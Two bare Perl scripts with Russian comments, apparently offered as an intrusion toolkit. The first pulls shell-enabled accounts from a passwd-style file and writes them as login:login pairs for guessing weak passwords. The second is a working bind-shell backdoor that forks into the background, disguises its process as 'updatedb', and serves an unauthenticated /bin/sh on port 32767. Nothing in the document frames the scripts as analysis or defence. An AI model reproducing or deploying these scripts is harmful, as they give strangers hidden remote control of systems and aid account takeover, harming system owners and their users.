#!/usr/bin/perl 
$in=$ARGV[0]; 
$out=$ARGV[1]; ## определим параметры скрипта 
exit print "Use $0 $in $out\n" unless ($out); 
open(IN, "$in"); 
open(OUT, ">out"); 
while(<IN>){ 
chomp; 
if (~/sh$/){ ## запишем только валидные аккаунты 
($u,@udef)=split ":"; 
print OUT "$u:$u\n"; ## В виде пары login:login 
} 
} 
close(IN); 
close(OUT);

#!/usr/bin/perl

$port = 32767; 
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
	accept(X, S);
	unless(fork)
	{
		open STDIN, "<&X";
		open STDOUT, ">&X";
		open STDERR, ">&X";
		close X;
		exec("/bin/sh");
	}
	close X;
}